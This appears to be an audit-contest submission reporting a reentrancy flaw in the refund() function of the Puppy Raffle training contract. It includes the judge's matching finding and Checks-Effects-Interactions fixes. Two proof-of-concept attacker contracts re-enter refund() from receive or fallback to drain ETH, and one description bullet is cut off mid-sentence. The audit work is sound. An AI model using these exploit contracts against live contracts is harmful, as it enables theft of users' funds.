Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Reentrancy Attack

Root + Impact

Description

  • The refund function is intended to allow an active raffle participant to reclaim their entranceFee. Only the original player is permitted to request a refund, and once refunded, the player should be marked as inactive to prevent multiple refunds

  • player as refunded. This violates the Checks-Effects-Interactions (CEI) pattern and allows a malicious contract to reenter the refund function multiple times, resulting in repeated ETH withdrawals.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "Only the player can refund");
require(playerAddress != address(0), "Already refunded");
// @> External call happens before state update
payable(msg.sender).sendValue(entranceFee);
// @> State update happens after ETH transfer
players[playerIndex] = address(0);
}

Risk

Likelihood:

  • Reason 1 The function is publicly callable and directly transfers ETH to msg.sender

  • Reason 2 Reentrancy is possible when msg.sender is a smart contract implementing a malicious receive or fallback function

Impact:

  • Impact 1 An attacker can repeatedly call refund in a single transaction and drain the contract balance

  • Impact 2 Loss of funds for all legitimate raffle participants

Proof of Concept

The attacker can call refund until the balance drained because the state update after the attacker receive the funds

contract RefundAttacker {
PuppyRaffle public raffle;
uint256 public index;
constructor(address _raffle, uint256 _index) {
raffle = PuppyRaffle(_raffle);
index = _index;
}
function attack() external {
raffle.refund(index);
}
receive() external payable {
// Reenter before state is updated
raffle.refund(index);
}
}

Recommended Mitigation

Apply the Checks-Effects-Interactions pattern by updating state before transferring ETH, and optionally add reentrancy protection.

- remove this code
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(
playerAddress == msg.sender,
"PuppyRaffle: Only the player can refund"
);
require(
playerAddress != address(0),
"PuppyRaffle: Player already refunded, or is not active"
);
payable(msg.sender).sendValue(entranceFee);
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
+ add this code
function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(
playerAddress == msg.sender,
"PuppyRaffle: Only the player can refund"
);
require(
playerAddress != address(0),
"PuppyRaffle: Player already refunded, or is not active"
);
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
payable(msg.sender).sendValue(entranceFee);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 6 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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